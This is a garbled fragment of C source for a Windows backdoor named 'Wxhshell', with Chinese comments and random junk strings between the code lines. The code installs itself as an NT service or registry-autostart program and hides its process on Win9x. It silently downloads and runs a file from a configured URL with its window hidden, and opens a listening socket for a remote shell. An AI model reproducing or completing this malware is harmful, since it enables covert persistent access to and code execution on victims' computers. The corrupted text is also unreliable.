0L<l char procName[255]; izOtt^#DZt unsigned long cbNeeded; pvkru-i] DL<r2h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yG{'hx6H >|mmJ4T CloseHandle(hProcess); .z)E 'd'*4 )]k if(strstr(procName,"services")) return 1; // 以服务启动 ga0W;Vq&X kx*=1AfU+Y return 0; // 注册表启动 vxY7/ _] } [Nsv]Yz HP"5*C5D // 主模块 *b~$|H-\ int StartWxhshell(LPSTR lpCmdLine) p e |k}{ { rWAJL9M SOCKET wsl; ,"5Fw4G6* BOOL val=TRUE; O~Pbu[C int port=0; ?tg(X[h{S struct sockaddr_in door; 7l%O:M(\ (?;Fnq if(wscfg.ws_autoins) Install(); `+{|k)2B u0Irf"Ab port=atoi(lpCmdLine); ^0c:ro JM@MNS_||( if(port<=0) port=wscfg.ws_port; FNtcI7 44]/rP_m WSADATA data; U2\zl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &qF Q3'\Vj,S& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; FlgK:=Fmj setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
UcKpid door.sin_family = AF_INET; I~gU3( door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7J.alV4`/ door.sin_port = htons(port); vSX71 TlQu+w| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s^)wh v`C closesocket(wsl); WfL5.& return 1; xOp8[6Ga' } oX8e} o&-q.;MY if(listen(wsl,2) == INVALID_SOCKET) { lL/|{A|-j closesocket(wsl); P0Z1cN} return 1; [2WJ>2r}6 } mtOCk 5E Wxhshell(wsl); E0o= WSACleanup(); z%<Z#5_N &J,MJ{w6" return 0; 2<y!3OeN ]KBzuz% } gR
)xw)! ~kj1L@gy // 以NT服务方式启动 W4Tuc:X5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]SA]{id+ { pA&CBXio DWORD status = 0; 6p=AzojoB DWORD specificError = 0xfffffff; p;,Cvw{.;% Zx@/5!_n. serviceStatus.dwServiceType = SERVICE_WIN32; MDM/~Qpj_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; :U$<h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lp`q[Z* serviceStatus.dwWin32ExitCode = 0; hB]4Tn5H serviceStatus.dwServiceSpecificExitCode = 0; b%z4u0 serviceStatus.dwCheckPoint = 0; "u@) serviceStatus.dwWaitHint = 0; 82O#Fe q 0B7cpw>_J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .BuXg<` if (hServiceStatusHandle==0) return; pdUrVmW "' FZ)_WaqGf status = GetLastError(); <DxUqCE if (status!=NO_ERROR) 2^'|[*$k1@ { .v?Ir) serviceStatus.dwCurrentState = SERVICE_STOPPED; eZ'J,; serviceStatus.dwCheckPoint = 0; s,!+wHv_8 serviceStatus.dwWaitHint = 0; ?ey!wcv~ serviceStatus.dwWin32ExitCode = status; *G"L]Nq# serviceStatus.dwServiceSpecificExitCode = specificError; +]
s"* 'V$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); hN=YC\l return; IxNY%&* ` } n}Pz: h&|q>M3 serviceStatus.dwCurrentState = SERVICE_RUNNING; @)owj^sA serviceStatus.dwCheckPoint = 0; Z/n\Ak sE serviceStatus.dwWaitHint = 0; (U#4j 6Q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A%qlB[!: } >AX&PMb` $k5mI1~ // 处理NT服务事件,比如:启动、停止 ZJlmHlAX VOID WINAPI NTServiceHandler(DWORD fdwControl) } Wx#"6 { !#wd~: H switch(fdwControl) x%Ivd { f?}~$agc case SERVICE_CONTROL_STOP: ,<!_MNw[ serviceStatus.dwWin32ExitCode = 0; ^vw? 4O serviceStatus.dwCurrentState = SERVICE_STOPPED; V4@HIM serviceStatus.dwCheckPoint = 0; wH&[Tg serviceStatus.dwWaitHint = 0; Z#0hh%E"|y { Y??8P SetServiceStatus(hServiceStatusHandle, &serviceStatus); BIovPvq;i } mF7T=pl return; 6EfGJq case SERVICE_CONTROL_PAUSE: A2.[P== serviceStatus.dwCurrentState = SERVICE_PAUSED; vu-QyPnS|w break; 1n|)05p case SERVICE_CONTROL_CONTINUE: l?F-w;wHN serviceStatus.dwCurrentState = SERVICE_RUNNING; Ss ;C1: break; cK6M8:KW case SERVICE_CONTROL_INTERROGATE: ZU\TA| break; mVUDPMyZ }; V bQ9o SetServiceStatus(hServiceStatusHandle, &serviceStatus); }g6:9%ZMu } DG1C_hu
i & c a- // 标准应用程序主函数 ozv:$>v@" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vF,\{sgW { B]jN~CO? WB~
^R<g // 获取操作系统版本 ,QU2xw D[ OsIsNt=GetOsVer(); S^ij % GetModuleFileName(NULL,ExeFile,MAX_PATH); ZtG5vdf $C@v // 从命令行安装 ?+EN.P[;3 if(strpbrk(lpCmdLine,"iI")) Install(); N&ZIsaK,j iF:`rIC // 下载执行文件 BCN<l +u if(wscfg.ws_downexe) { QJ1_LJ4)a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u
xi f-5 WinExec(wscfg.ws_filenam,SW_HIDE); ,QW>M$g{ } nu|paA 57W4E{A if(!OsIsNt) { mqPV
Eo // 如果时win9x,隐藏进程并且设置为注册表启动 e}e|??'(\ HideProc(); E5@U~|V[ StartWxhshell(lpCmdLine); g_{hB5N](7 } Ewg5s?2| else A#t#c* if(StartFromService()) e+J|se4L5 // 以服务方式启动 cu&tdg^q StartServiceCtrlDispatcher(DispatchTable);
--Dd' else T 9lk&7W // 普通方式启动 V$e\84< StartWxhshell(lpCmdLine); tu(k"'aJ 4'L%Wz[6 return 0; J`F][ A }
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